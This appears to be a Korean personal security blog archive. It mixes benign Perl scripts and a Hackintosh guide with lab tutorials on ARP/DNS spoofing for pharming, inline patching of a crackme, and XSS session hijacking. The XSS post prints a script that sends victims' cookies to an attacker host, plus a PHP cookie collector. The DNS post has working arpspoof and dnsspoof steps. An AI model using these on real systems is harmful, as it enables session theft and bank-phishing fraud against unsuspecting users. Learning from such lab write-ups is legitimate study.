Monday, March 24, 2014

파밍으로 악용될 수 있는 DNS Spoofing 에 대해 알아보자.



 Client 에 의한 Domain Name 의 해석 요청이 있을시 
먼저 Hosts 화일을 확인하고, 없다면 DNS Cache 를 확인하게 된다.
Cache 에도 존재하지 않다면 설정된 DNS Server 에 Query 를 보낸다.
그렇게 해서 DNS Server 에서 Client 에게 전달하게 된다.

이 중간에 해커 P/C가 희생자의 Gateway 인척 Mac address 를 속이게 되면 
DNS Query 에대한 답을 Server 측에서 보내는것 처럼 속여 해커가 임의로 만든
사이트로 희생자가 접속하게 된다. 결국 파밍 사이트를 리얼사이트와 동일하게 만들면
파밍 사기에 속을 수 밖에 없게된다.
테스트를 위해 vmware 위에 2개의 xp(희생양과 공격자가 구성한 web server)
그리고 공격자는 BT5r3를 사용한다.
희생양 IP: 192.168.92.131, 공격자 IP 192.168.92.128

먼저 희생양이 되는 P.C 의 ARP Table 을 확인해보자



위와 같이 Gateway는 192.168.92.2 를 가르키고 MAC은 f7:14:99 임을 기억하자.

여기서 공격자가 내부 내트웍에 있으므로 ARP Spoofing 공격을 하게되면
공격자의 Mac 을 희생양의 Gateway 인척 속이게 된다.
arpspoof -i [interface] -t [target] [host]
이명령은 target 으로 현재 interface를 host가 가지는 mac 으로 인식되게끔 변조 시킨다.
그리고 다시 희생양의 arp table 을 확인하게 되면 

위와 같이 gateway의 물리적주소가 변조 된것을 확인할 수 있다.
이제는 외부로 나가는 data는 모두 gateway 를 거쳐야 하므로 공격자의 P/C를
거쳐서 나가게 된다는 것이다.
이렇게 되면 모든 data를 스니핑이 가능하지만 아직 해줘야 할 작업이 남았다.
공격자가 받은 data를 forwarding 시켜줘야 희생양 P.C에서 정상적으로 data를 
보낸것처럼 인식 될것이다. 이러한 forwarding 작업이 없으면 희생양 P/C 에선
internet 을 사용할 수 없게 될것이다. 말 그대로 해커 P.C에서 packet 을 먹어버리고 
만것이다.

forwarding 작업을 위해서 Backtrack에선 2가지 방법이 있다.
첫번째는
#echo 1 > /proc/sys/net/ipv4/ip_forward 
로 ip_forwarding값을 1(true)로 변경하는 방법과
두번째로
fragrouter -B1   이라는 명령으로 전달하는 방법이 있다.

forwarding 한후 
먼저 dnsspoofing 에 사용할 화일을 만들어 주자.
----------------------------------
#touch ./test.txt
10.10.10.10        www.bank.com
:wq!
----------------------------------
라인을 구분자로 여러줄 등록해도 무관하다.

위의 IP주소는 해커가 만들어 놓은 웹서버의 IP 주소를 넣으면 된다.
그리고 그 뒤에는 사용자가 접속하는 도메인네임인데 사용자가
www.bank.com 으로 접속하려 할 때 이를 catch 해서 해커가 10.10.10.10 이라는
주소로 redirecting 시켜 버린다. 결국 희생양 P/C 는 www.bank.com 과 동일하게
생성시켜 놓은 파밍사이트로 접근하게 되어 위험해 지는 것이다.

dnsspoofing 화일을 만들었다면 마지막으로
dnsspoof -i [interface] -f [화일명] 으로 dnsspoofing 을 시도해보자

희생양 P.C가 www.bank.com 으로 접을할 때 마다 변조된 query를 날렸다고
알려올 것이다.
이제 희생양 P.C에서 www.bank.com 으로 접속해보자.
필자는 www.bank.com 이 아닌 www.google.com 으로 했다.
그리고 webserver 는 따로 구성하지 않았으니, nslookup 으로 확인해보겠다.


위와 같이 10.10.10.10 이라는 IP 주소가 www.google.com 이라는 query 가왔다.
물론 해커가 변조한 query이다.
이제는 희생양 P.C가 www.google.com 으로 접속할 때 마다 해커가 구성해 놓은
파밍 webserver 10.10.10.10 으로 접속하게 된다.

이러한 LAN 환경에서의 DNS Spoofing 을 예방하기 위해선 arp table을 수동으로
구성해 gateway Mac 변조를 사전에 막는것이다.


































Saturday, March 22, 2014

Perl 을 이용한 중복화일 찾기



중복된 화일을 찾아주는 스크립트
화일 이름은 다르나 내용은 같은 즉, md5 hash 값을 기준으로 동일한
파일을 찾아준다.
이미지나 음악화일, 혹은 동영상 등등 중복된 화일을 찾을 수 있다.
활용한다면 중복 화일을 찾아 지우는것 활용해 볼 수 있다.

===========================================
#!/usr/bin/perl

use strict;
use warnings;
use File::Find;
use Digest::MD5;

#중복화일의 리스트를 담은 배열을 리턴
sub find_dups(@)
{
#인자로 넘겨받은 디렉토리
my @dir_list = @_;
if($#dir_list < 0) {
return (undef);
}

#size로 인덱싱됨.
my %files;

#화일 트리를 돌면서 모든 화일을 찾아 비슷한 사이즈의 화일을 담는다.
find( sub {
-f &&
push @{$files{(stat(_))[7]}}, $File::Find::name
}, @dir_list
);

my @result = ();

#md5 가 같은지
foreach my $size (keys %files) {
if ($#{$files{$size}} < 1) {
next;
}
my %md5; #file name array hash

#loop 돌면서 md5 sum check
foreach my $cur_file (@{$files{$size}}) {
open(FILE, $cur_file) or next;
binmode(FILE);
push @{$md5{
Digest::MD5->new->addfile(*FILE)->hexdigest}
}, $cur_file;
close (FILE);
}

#중복 검사
foreach my $hash (keys %md5){
if ($#{$md5{$hash}} >= 1) {
push(@result, [@{$md5{$hash}}]);
}
}
}
return @result
}

my @dups = find_dups(@ARGV);

foreach my $cur_dup (@dups) {
print "Duplicates\n";
foreach my $cur_file (@$cur_dup) {
print "\t$cur_file\n";
}
}
=============================================




Friday, March 21, 2014

Perl 을 이용한 file의 무결성 확인




 자신의 PC에서 어떠한 중요한 화일이 있다면 이 화일이 누군가에 의해서 변경되는것을
원치 않을 것이다. 혹은 의도하지 않은 어떤 변경으로 인해 이 화일이 변경되었는지
점검을 하고 싶을 수도 있고, 해킹이 되었는지 확인 하고 싶을것이다.

또는 소프트웨어 업그레이드가 어떠한 부분들을 건드리는지 궁금하다면 아래의
Perl Script를 사용하면 도움이 될것이다.

디렉토리 트리를 검색하기 위해 File::Find 모듈을 사용한다.

======================================
use strict;
use warnings;
use File::Find;
use Digest::MD5;
use Storable qw(nstore retrieve);

# 변경정보를 담는 화일을 생성
my $info_file_name = ".change.info";

#지정한 디렉토리내의 각 화일의 메시지 다이제스트 값을 생성 저장
sub md5($){
my $cur_file = shift;

open(FILE, $cur_file) or return ("");
binmode(FILE);
my $result = Digest::MD5->new->addfile(*FILE)->hexdigest;
close (FILE);
return ($result);
}

#최초 혹은 마지막으로 실행했을때의 화일의 md5값(비교대상)
my $file_info;

#현재 화일의 md5 hash값
my %real_info;

my @dir_list = @ARGV;

#화일이 있다면 정보를 읽어 들인다.
if (-f $info_file_name) {
$file_info = retrieve($info_file_name);
}

if ($#dir_list < 0){
print "Nothing to look at\n";
exit (0);
}

find( sub{
-f && ($real_info{$File::Find::name} = md5($_));
},@dir_list
);


#예전 화일의 md hash값과 현재의 md hash 값을 비교하여
# 새로 생성되었는지, 변경되었는지, 삭제 되었는지 확인.
foreach my $file (sort keys %real_info) {
if (not defined($file_info->{$file})){
print "New file: $file\n";
} else {
if ($real_info{$file} ne $file_info->{$file}){
print "Changed: $file\n";
}
delete $file_info->{$file};
}
}

foreach my $file (sort keys %$file_info){
print "Deleted: $file\n";
}

nstore \%real_info, $info_file_name;
========================================

한가지 단점은 실행할때마다 $file_info->{} 해시값이 %real_info 해시값으로
대체가 된다는 점이다. 즉 실행할 때 마다 현재의 값을 저장함으로 이전값과의
비교는 안된다는 점이다.
비교를 위해 실행한 후에는 그 결과값을 잘 저장을 해둬야 한다는 말씀!

무결성이 중요한 문서의 경우 이런 방법으로 문서의 위,변조를 확인 할 수 있다.













인텔 기반 데스크탑에 Mac OS X Mavericks 설치하기(해킨토시,hackintosh)


 흔히 해킨토시라고 하는 인텔 기반의 데스크탑에 OS X 를 설치하는 법을 알려 드립니다.
여러가지 방법이 있지만 여기에선 App store 에서 무료로 배포중인 버전 10.9.2
Mavericks 를 이용해 설치를 진행합니다.
따라서, 기본적으로 준비 하셔야 할것은 OS X 가 설치된 시스템 혹은 OS X 이미지를 구하셔서 가상머신 (VMWare)에 설치를 하셔야 합니다.

하지만 가상머신으로 OS X 를 설치할 경우 아래의 Unibeast 가 동작하지 않는것으로
알고 있습니다. 가상 머신을 설치하여 가상머신에서 인스톨 USB를 만드는 방법은
myHack 이라는 프로그램을 인터넷 검색으로 참고하셔서 진행 바랍니다.

아래 방법은 주위에 OS X 가 설치된 MacBook 이 있을경우 진행하시면 됩니다.

VMWare 에 OS X 를 설치하는 법은 이미 인터넷에 많은 자료들이 있을테니 확인하시고
설치 진행하시면 됩니다.(VMWare 설치이후 Unlocker 해주셔야 설치OS 메뉴에
OS X 가 보이니 참고하시고)

준비물
1. 8 Giga byte 이상 용량의 USB
2. OS X 가 설치된 시스템(VMWare 위에 설치된 OS X 도 관계없음)
3. 해킨토시 설치에 적합한 인텔 계열 cpu 와 board(Gigabyte,Asus...)
     자신의 보드의 DSDT.aml 화일이 있는지 아래에서 확인.

---아래의 두 화일은 OS X 시스템에서 다운로드 받아야 합니다.---
3. tonymacx86.com 에서 배포하는 unibeast, multi-beast
    여기 에서 다운로드 가능합니다. 가입하셔야 다운로드 가능합니다.
4. 자신이 가진 메인보드의 DSDT 화일
    여기 에서 다운로드 가능합니다.(역시 가입하셔야 다운로드 가능)
    다운로드 받으셔서 DSDT.aml 로 이름을 변경해주세요.
5. 시간과 열정

Uni-beast라는 프로그램은 앞으로 Appstore 에서 받게 될 Mavericks 이미지를
USB에 부팅가능한 이미지로 복사를 하는 프로그램입니다. 즉 설치를 위해 필요합니다.

Multi-Beast 라는 프로그램은 부트로더를 심어주는 Util입니다.
OS X는 Bios 라는 개념이 없습니다만 인텔 Desktop에선 Bios에서 모든 하드웨어 장치에
관한 정보를 가지고 있습니다. 이 정보를 OS X 와 연결시켜 OS X가 Desktop 에서도
부팅이 가능하도록 도와주는 역할입니다.


USB 설치 디스크 만들기
1. OS X 가 설치된 시스템에서 App Store 를 방문해 Mavericks를 다운로드 받습니다.
다운로드 받은 화일은 응용 프로그램 밑으로 들어가게 됩니다.

2. USB 를 OS X 에서 사용하기 위해 화일 시스템을 변경 초기화 해야 합니다.
    응용프로그램\유틸리티\Diskutility 를 실행시킵니다.
    좌측에서 해당 USB 를 클릭합니다.



3. 파티션 탭을 누르고 파티션 레이아웃에서 1개의 파티션을 선택합니다.
    (USB의 모든 내용이 삭제되니 중요한 화일이 있으시면 백업하셔야 합니다)

4. 옵션을 눌러 마스터 부트 레코드를 선택합니다.

5. 이름은 USB 로 변경해주시고(나중에 변경가능합니다)
    포멧은 Mac OS (확장 저널링) 으로 선택후 적용버튼을 누릅니다.

자 이제 USB Disk 가 준비되었습니다.
이 USB DISK에 이전에 받았던 Multi-Beast , 메인보드 DSDT 화일
을 넣어주세요.


USB 에 설치 이미지 복사
위에서 다운로드 받았던 Uni-Beast 를 실행합니다.
계속>계속>계속>동의 를 누릅니다.

설치하려는 Disk 선택에서 USB Disk 를 선택후 계속 버튼을 클릭합니다.

아래와 같이 Mavericks 10.9 를 선택후 계속버튼을 클릭합니다.
주의) App Store 에서 Mavericks 를 다운로드 완료후 진행해야 합니다.

10분~15분 걸립니다. 잠시만 기다리세요.
자 이제 부팅 디스크가 만들어 졌군요.
이제 이 USB 부팅디스크로 부팅을 해 설치할 일만 남았군요.


설치 전 설정
그 전에 Bios 설정으로 들어가 AHCI (Advanced Host Controller Interface) 모드를
사용으로 변경을 해야 합니다.
AHCI 설정 검색하시면 방법들이 나오니 여기선 생략합니다.
AHCI 모드로 변경을 하셨으면 USB로 부팅이 가능하게끔 설정해주시고
USB Disk 를 인텔기반 데스크탑에 삽입후 재부팅합니다.


설치 과정 진입
USB로 제대로 부팅이 되었다면 아래와 같은 부트 로더가 보입니다.
여기서 USB를 선택한후 정상적인 설치화면이 보인다면 다행이지만
그렇지 않을 확률이 아주 큽니다.

만약, 정상적으로 아래처럼 설치단계에 진입하지 못했다면 flag 를 이용해 
부팅을 시도해야 합니다.
화살표를 아래로 내리면 아래와 같은 boot flag를 입력할 수 있는 창이 뜹니다.


아래와 같은 flag를 입력할 수 있는데 필자도 여기에서 이틀이라는 말도 안되는
삽질을 겪었습니다.

GraphicsEnabler=No 
자신의 그래픽카드가 NVIDIA Geforce 6xx/7xx 라면 GraphicsEnabler=No 로
부팅이 가능할 겁니다. 그외의 경우 Yes 로 하셔야 합니다.(Default 는 No 입니다)

-v
Verbose 모드입니다. 부팅과정을 애플 부트 스크린이 아닌 전체 진행과정을 지켜 볼 수 있습니다.

-x
안전모드로서 기본적인 드라이버만 로딩합니다. 

-s싱글 유저모드로서 CLI 를 지원합니다.
(설치 완료후 드라이버 잡는 과정에서 문제가 있어 부팅이 되지 않을경우
-s 로 싱글모드 진입후 # mount -uw /   로 마운트하시면 kext삭제 및 권한 복구 등이
가능해집니다. file system 은 # fsck -fy 로 check 합니다.)

npci=0x3000
Fermi 와 Kepler NVIDIA cards 를 사용하는 메인보드라면 이 옵션을 써야 합니다.


PCIRootUID=0
UniBeast는 기본적으로 PCIRootUID=1 이라는 값을 기본적으로 세팅되어 있습니다.
이 값을 변경시켜 설치화면으로 진입을 시도해 볼 수 있습니다.

nv_disable=1
이 방법은 필자가 사용하는 NVIDIA Geforce GTX 560Ti 에서 진입에 성공한 flag입니다.
기본적으로 Nvidia에서 사용하는 QE/CI 를 사용하지 않고 진입하겠다는 뜻입니다.


그외 전체적인 flag 를 보시려면 아래 방문해서 확인하세요.
http://www.tonymacx86.com/wiki/index.php/Org.chameleon.Boot.plist

정상적으로 설치화면으로 진입한 단계(아래사진)


설치 단계
위 그림처럼 설치단계에 왔다면 한글을 선택 혹은 원하는 언어를 선택후 Next.
OS X를 처음 설치하는 거라면 설치 디스크를 OS X가 인식할 수 있는 화일시스템으로
변경하고 format 을 시켜야 합니다.
상단 메뉴에서 유틸리티를 선택하고 하위메뉴중 디스크 유틸리티를 선택합니다.

좌측에서 해당하는 디스크를 선택하고 파티션 탭에서 1개 선택후
옵션에서 GUID Partition 을 선택합니다.
이름은 Mavericks 로 해주시고 포멧은 Mac OS (확장 저널링) 으로 선택후 적용합니다.

어디에 설치를 할것인지 물어보면 Mavericks Disk 를 지정하고 설치를 진행합니다.
설치 과정은 어려움이 없으니 진행하시면 됩니다.

설치가 모두 끝났다고해서 모든 작업이 끝이 난것이 아닙니다.
아직 우리는 Mavericks Disk에 부트로더를 설치해주지 않았습니다.
(USB로 부팅하지 않을시 부팅되지 않습니다!!!)
일단 USB에 설치된 부트로더를 이용해 Mavericks 에 진입할 수가 있습니다.

설치과정 완료후 재부팅이 되면 USB로 부팅을 하시고 그러면 아래와 같이
Mavericks Disk가 설치되어 있는것을 볼 수 있습니다.

Mavericks 선택하시기 전에 이전에 부팅에 성공했던 flag를 여기서 다시 입력해줘야
제대로 부팅을 할 수가 있습니다.

커서를 이용해 Mavericks로 옮겨주시고 flag를 입력후 부팅합니다.


Multi-Beast 로 부트로더 설치하기
제대로 부팅이 되었다면 USB Disk 에 들어있는 Multi-Beast를 실행합니다.

Quick Start 에선 User DSDT를 선택하여 이전에 받아뒀던 DSDT.aml 화일을 지정해줍니다.
드라이버 탭에선 자신의 하드웨어와 관련된 driver를 설치해 줍니다.
이후 부트로더 탭에서 부트로더를 선택해줍니다.
 모든 설정이 끝났으면 Build 를 선택후 Install 을 선택합니다.



 인스톨이 끝나면 USB가 아닌 Mavericks Disk로 부팅을 하시고 Boot flag 없이
정상적으로 부팅이 된다면 일단 설치가 완료가 된것입니다.

OS X 의 성능과 App store 의 풍만함을 느껴볼 차례입니다.


Monday, August 12, 2013

Perl Socket-Programming by using UDP protocol.


 Perl 의 Socket 이라는 Module 을 이용한 Socket Programming.
먼저 Server side Programming.

우선 Basic statement

#Server side:
#! /usr/bin/perl -w

use strict;
use Socket;   #Socket Module 사용

#사용할 Port 와 최대로 받고 싶은 길이, 도메인 네임을
#use constant 를 이용하여 정의. (C에서 #define 과 같은 의미로 보면된다)

use constant SIMPLE_UDP_PORT => 4001;
use constant MAX_RECV_LEN => 1500;
use constant LOCAL_INETNAME => 'localhost';


#다음 Socket Module 의 함수를 이용하여 스칼로로 리턴

#- 간단한 함수의 정의
#getprotobyname() : protocol name 으로 service port number 를 리턴.
#gethostbyname() : domain name 으로 host IP 를 리턴.
#sockaddr_in(): 포트정보와 IP Address 정보로 socket address 를 리턴
#혹은 socket address 로 IP Address 와 포트정보를 리턴.

my $trans_serv = getprotobyname( 'udp' );
my $local_host = gethostbyname( LOCAL_INETNAME );
my $local_port = SIMPLE_UDP_PORT;
my $local_addr = sockaddr_in( $local_port, INADDR_ANY );

#socket() : socket open 상수전달
#(Protocol family, Address family, Socket Type, Linux specific shortcut)

socket( UDP_SOCK, PF_INET, SOCK_DGRAM, $trans_serv )
     or die "udp_s2: socket creation failed : $!\n";

bind( UDP_SOCK, $local_addr )
     or die "udp_s2: bind to address failed : $!\n";


#Client 로 부터 전달 받은 메시지를 while문을 통해 출력.

my $data;
while( 1 ){
     my $from_who = recv( UDP_SOCK, $data, MAX_RECV_LEN, 0 );
     if ( $from_who ){
          my ( $the_port, $the_ip ) = sockaddr_in( $from_who );
          my $remote_name = gethostbyaddr( $the_ip, AF_INET );
          warn "Received from $remote_name: $data\n";
     }
     else{
          warn "Problem with recv: $!\n";
     }
}


#Client side:

#! /usr/bin/perl -w

use strict;
use Socket;
use constant SIMPLE_UDP_PORT => 4001;
use constant REMOTE_HOST => 'localhost';

#||(or) : 명령행 전달인자가 있을경우 취하고 없으면 REMOTE_HOST 상수를 이용해 받음.
#protocol name 으로 서비스 포트넘버를  리턴.
#or 의 기본 연산원리를 이용한 것으로 첫번째 인자가 false 일 경우 두번째 인자를
#검사를 하지만, 첫번째 인자가 True 인경우 두번째 인자와는 관계없이 True 이므로
#두번째 인자는 검사하지 않는다. 즉 아규먼트가 있으면  shift 되지만 없을경우
#위에서 정의된 REMOTE_HOST 상수값이 리턴된다.

my $remote = shift || REMOTE_HOST;
my $trans_serv = getprotobyname( 'udp' );
my $remote_host = gethostbyname( $remote )
or die "udp_c2: name lookup failed : $remote\n";

my $remote_port = shift || SIMPLE_UDP_PORT;
my $destination = sockaddr_in( $remote_port, $remote_host );

socket( UDP_SOCK, PF_INET, SOCK_DGRAM, $trans_serv )
or die "udp_s2: socket creation failed : $!\n";

#send(): $destination 측으로 $data 를 메시지로 전송.

my $data = "Hello Server ~~!!";
send( UDP_SOCK, $data, 0, $destination )
or warn "udp_c2: send to socket failed.\n";

close UDP_SOCK
or die "udp_c2: close socket failed : $!\n";


#Referenced 'Programming the network with perl'    - Paul Barry -








Monday, August 5, 2013

Reversing - 파일의 빈영역에 Inline Patch 하기 (2)

 Reversing - 파일의 빈영역에 Inline Patch 하기 1부에 이어서...

40109b 부터 Decoding 이 이루어지며 checksum 값을 이용하여 변조 여부를 판별하기에
직접 변경하기에는 조금 까다롭습니다.

그래서 파일의 빈 영역을 확인하여 그 공간에 패치를 실행하는 코드를 삽입하고
EP코드에서 Decoding 이 모두 이루어진 다음에 우리가 만든 패치코드로 가는
jmp code 를 삽입한후 patch가 모두 끝나면 OEP로 이동하도록 만들겠습니다.

PEview 라는 유틸을 이용하여 빈공간을 확인해봅시다.













.text 섹션을 보면 size of raw data(file alignment) 는 0x400 이고 실제 사용하는
바이트(Virtual Size) 는 0x280 입니다. 즉 0x400 에서 0x280 을 뺀만큼은
빈 공간으로 Null Padding 영역입니다. 이 공간을 사용하도록 하겠습니다.
(참고로 File에서의 할당 단위는 Size of Raw Data, 또는 File Alignment 라고하고,
  메모리에서는 Section Alignment 라고합니다.)

그럼 빈 공간으로 이동해 봅시다.
Pointer to Raw Data 가 0x400 으로 시작지점은 0x400 입니다. 즉
0x400부터 0x680까지 사용하고 0x680부터 0x800 까지가 빈 영역입니다.

이러한 파일이 메모리 상으로 올라가게 되면 file alignment 가 아닌 section alignment
단위로 바뀌게 됩니다.

image base 값은 00400000 이며, section alignment 는 1000 입니다.
file alignment 에서는 400 + 280 이지만, 메모리에서는 1000 + 280 이라는 얘기입니다.
따라서 이동할 메모리 공간은 00401280 입니다.














이동을 해보면 역시 0 이 채워져 있는 Null Padding 영역임을 알 수 있습니다.
이제 위에서 구한 복호화 된 문자열을 다른 문자열로 patch 하겠습니다.











위 그림과 같이 패치하고 싶은 문자열을 넣고 해당 문자열이 있는 위치를
source로 하여 기존 문자열 [edi] 를 patch 합니다.
문자열은 \0 까지 포함하여 길이를 계산 합니다.














그리고 복호화가 완료되고 OEP로 가기전에 우리가 패치한 부분이
실행이 되게 401083 주소를 jmp 401280 으로 변경합니다.

그런후 저장을 하고 실행을 하게 되면 아래와 같이 checksum 오류가 발생합니다.
바로 401083 영역이 xor 7로 암호화 되어 있는 영역인데 이값을 변경해서 그렇습니다.
(401007~ 401085 까지가 xor 7 로 암호화된 영역입니다)












401083 의 화일에 해당하는 영역 0x483 으로 이동해 보겠습니다.
Hex edit 를 이용해 열어봅니다.












483 영역을보면 01f8e9 이라고 되어 있습니다.
xor 7 로 암호화 된 값이 이 값이 되어야 합니다.
따라서,

01 xor 7 = 6
f8 xor 7 = ff
e9 xor7 = ee
따라서 06ffee 값으로 변경 및 저장해 주셔야 합니다.















그리고 실행하면 정상적으로 patch가 되었음을 알수있다.

















- 참고 도서 : Reversing 핵심원리(이승원 저)

Reversing - 파일의 빈영역에 Inline Patch 하기 (1)


 해당 프로그램이 실행압축이나 암호화 등으로 파일 코드를 직접 수정하기 어려울 때
많이 진행하는 Inline Patch 에 대해 실습하겠습니다.

보통의 실행압축이나 암호화 파일은 EP 에서 OEP코드를 복호화 시키고 복호화 시킨
코드쪽으로 점프를 합니다.

이 과정에서 우리에게 필요한 Patch 를 삽입하기 위해 화일의 빈공간 패치할 코드를
입력하고 EP 에서 복호화 과정이 끝나면 OEP가 아닌 우리가 만들어 둔 패치
영역으로 Jmp를 시켜 Patch 가 모두 끝나면 OEP로 돌려 보내는 방법입니다.

이미 복호화가 끝난 상태에서 Patch를 진행하기 때문에 암호화 되어있던,
실행압축이 되어있던 관계없이 정상적으로 Patch가 진행됩니다.

일반적인 코드 Patch 와의 차이점은 프로그램이 실행될 때 마다 매번 Patch코드가
진행이 된다는 점입니다.

실습을 위해 공개된 Patchme 예제를 사용합니다.

InlinePatch 실습 예제 (download from 구글 드라이브)

일단 실행을 해보면 You must patch this MAG !!! 라는 문자열이 담긴 창이 나오고
확인 버튼을 클릭하면 You must unpack me !!! 라는 문자열이 보이게 됩니다.

위 두 문자열을 다른 문자열로 바꿔 출력하는 것이 이번 Inline Patch 목표입니다.
올리(OllyDBG)로 열어 해당 문자열을 찾아봅시다.
아래를 보면 Code가 암호화 되어 보이지 않는다는 것을 알 수 있습니다.















Search for All referenced text strings. 로 찾아보면 보이지 않습니다.
암호화 되어 있다는 것을 유추 할 수 있습니다.












위 call 부분 401001 부분을 따라가서 진행하다 보면 아래와 같은 코드를 보게 됩니다.



















중간에 있는 While 문으로 추정되는

mov ecx,154
xor byte prt ds:[ebx], 44
sub ecx,1
inc ebx
cmp ecx,0
jnz

로 봤을때 이 부분이 복호화 하는 부분으로 유추해 볼 수 있습니다.
특정한 값으로 xor 연산하고 ecx에 있는 값을 하나 감소시키고,
다음바이트로 이동하기 위해 ebx를 하나 증가 시키고, ecx를 비교해서 0이 될때까지
즉 최초 ecx에 넣은 0x154바이트 만큼 반복을 하고 ecx가 0이 되는 순간 while 문을
빠져 나오게 됩니다.

즉 ebx 에 들어있는 주소로부터 0x154 바이트만큼 xor byte ptr ds:[ebx],44 로
복호화가 되는겁니다. 범위는 4010f5 ~ 401248
(4010f5 + 0x154 한값.(offset 에 0도 포함되기 때문에 0x154 더한값에 1을 빼줍니다)

조금더 진행하여 4010b0 주소의 call 을 따라가면 바로 아래부분의(4010bd) 또 다른
복호화문을 만나게 됩니다.















이부분은 401007 부터 401085 까지 0x7f 만큼 xor 7 로 복호화가 진행되고,
이어서 4010f5 부터 401248 까지 0x154 만큼 xor 11 로 다시 한번더 복호화 됩니다.

쭉 진행하다가 4010b6주소의 call 401039를 만나게 되면
아래와 같은 코드가 있습니다.











위 코드에서

push eax
mov ebx,eax
mov ecx,154
mov edx,0
add edx,dword ptr ds:[ebx]
sub ecx,1
inc ebx
cmp ecx,0
jnz 00401046

부분을 보면 ebx 에 들어있는 4바이트를 0x154 만큼 계속해서 누적으로 더해서
edx 에 넣고 있습니다. edx는 4010f5 ~ 401248 부분이 변조가 되었는지
변조 되지 않았는지를 확인하는 checksum 부분입니다.

보통의 checksum 은 이러한 모든 값을 더한후에 sum 값을 가지고 판단합니다.
단 한글자라도 변조가 있었다면 아래의 아스키 문자열 Error crc of this file ...
이라는 메시지박스가 출력 되는것을 알 수 있습니다.

401062 주소의 cmp 를 통해 checksum 값과 31eb8db0 값과 비교를 하는것을 확인
할 수 있습니다. 코드가 변조되지 않았으면, Original EP로 이동하게 됩니다.

우리가 원하는 문자열로 변경하려면 그에 맞게 checksum 비교 부분도 바꿔야합니다.

OEP code (0040121e) 까지 진행이 되었다면
Olly 에서 analysis > analyse code (Ctrl + A) 를 선택하여
현재까지 복호화된 code를 확인해 봅시다.












아래쪽의 DialogBox 를 호출하는 API 함수를 살펴 봅시다.
5개의 인자가 들어가는데 DlgProc 라고 되어있는 4번째 인자가 바로
DialogBoxParam() 이라는 API 호출 주소입니다. 호출주소인 4010f5로 가봅시다.















위 그림에서 아래쪽에 보면 우리가 봤던 최초의 문자열이 있고
그 문자열이 있는 주소를 호출해서 DialogBox가 호출되는 것을 알수 있습니다.
아스키 문자열이 들어있는 주소는 401123 과 40110a 입니다.

지금까지의 코드 흐름과 xor암호화, checksum code를 참고해서 직접 수정해도
되지만 인라인패치를 통해서 코드를 추가해 보도록 하겠습니다.

코드 추가는 2부에서...



- 참고 도서 : Reversing 핵심원리(이승원 저)



Saturday, August 3, 2013

Cross Site Scripting 을 통한 Session Hijacking 공격.

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.

 OWASP-Top10(2013) 의 A3 에 위치한 XSS (Cross Site Scripting) 을 통해 Session Hijacking 
 하는 법에 대해 알아 보겠습니다.


<준비>

우선 Backtrack(attacker) 과 Win XP(victim) 를 VM에 올려야 하고, 실습을 위한 Webserver 가 필요합니다.
Webserver 는 Win2000 에 올려놓고 하겠습니다.
물론 Win2000에 올라가 있는 Webserver 는 XSS 공격에 취약한 site 여야합니다.
Website 구축시 PHP를 많이 이용하는데 PHP 같은 경우 설정화일에서 Magic Quote GPC 가 Off 되어 있으면
XSS 공격에 취약해집니다. 다른 Script 언어를 사용하게 될 경우 확인하시고 수정해주세요.

<공격 시나리오>

시나리오는 이렇습니다. 
공격자인 Backtrack 에서 Website 를 돌아다니다 XSS 에 취약한 사이트를 발견하고 공격시도에 들어갑니다.
이때 사용되는 Script 는  <script>alert("test");</script> 

<실습>

게시판에서 스크립트를 등록하고 게시글을 읽었을때 test 라는 메시지창이 출력이 되면 XSS 공격에 
취약한 것입니다.























게시글을 등록하고 게시글에 접근한 결과 test 라는 메시지창이 뜬것으로 봐서 XSS 공격에 취약한 
사이트 인것으로 보입니다.

이제 공격자가 게시한 글에 접근하는 유저의 세션을 탈취하기 위한 게시글을 만들어 봅시다.
Script 는 다음과 같습니다.

<img name="i"></img>
<script>i.src="http://192.168.37.130/xss.php?cookie="+document.cookie</script> 

위 스크립트는 임의로 img tag를 넣어서 image의 source를 다운로드 받게끔 해놓은것 처럼
위장한 악성 스크립트입니다. src 를 받는 곳은 실제 image가 있는곳이 아닌 backtrack(공격자) 의
IP로 접근하여 victim 자신의 cookie 값을 backtrack 으로 넘겨주고 있는 script 입니다.
























위와 같이 게시판에 악성 script 를 작성합니다.
이제 Backtrack 으로 돌아와서 victim 이 넘겨줄 cookie 값을 받아주기 위해 해야할 작업이 있습니다.

위에서 작성한 악성 script에서 ip뒷부분 xss.php를 만들어 주어야 합니다.
IP에 해당하는 부분이 Backtrack에선 /var/www 에 해당합니다. 따라서
/var/www/xss.php 화일을 생성하고 chmod 777 ./xss.php로 실행권한까지 잊지 말고 주세요.

xss.php 화일의 내용은 다음과 같습니다.
=================================================================================
<?php
     $fd = fopen("/tmp/cookie.dat","a+") or die("can't open file");
     fputs($fd, $_SERVER['REMOTE_ADDR']. "Cookie is". $_GET["cookie"] . "\n");
     fclose($fd);
?>
=================================================================================

xss.php 화일을 만들었다면 /tmp 디렉토리 아래에 cookie.dat 라는 빈파일을 만들어 줍시다.
실제 쿠키가 들어와 저장이 될 화일입니다.
/tmp 디렉토리로 이동하여 touch cookie.dat  로 빈화일을 만들어주시되 역시 chmod 777 ./cookie.dat 
로 접근 가능하도록 해줘야 합니다.


























그런다음 Backtrack 에서 apache 를 실행합니다.
service apache2 start 하면 apache가 실행됩니다.
그런다음 cookie 가 들어오면 바로바로 알 수 있도록 cookie.dat 화일을 모니터링합니다.
tail -F /tmp/cookie.dat 

다 되었습니다. 이제 victim이 게시글을 읽기만 기다리면 됩니다.
victim이 게시글을 읽게되면 victim 의 cookie 값이 Backtrack 의 cookie.dat 에
자동으로 쌓이게 됩니다.

victim 이 클릭을 하게되면 아래와 같이 cookie가 자동으로 쌓입니다.
cookie 값은 ASPSESSIONIDQADQSTRT=AHAOLAJAEFNNBIAFMHDMKLKO 입니다.
























이제 탈취한 Cookie를 이용하여 victim의 ID와 Password 없이 로그인을 해봅시다.
Cookie 변조에 사용할 프로그램은 Paros입니다.
Paros는 Proxy 처럼 동작합니다. Web Proxy라고 생각하면 이해하기 쉽습니다.
I.E 에서 Proxy 설정을 해줍니다. (도구 > 인터넷옵션 > 연결 > Lan설정)
주소는 localhost 또는 127.0.0.1  paros 의 proxy 는 8080 port 를 사용함. 8080 으로 port 설정.





























Paros 를 실행하고 request 를 Trap 한 상태로 사이트로 재접속 합니다.
그러면 아래와 같이 공격자의 Cookie로 request 를 보내는것을 알 수 있습니다.
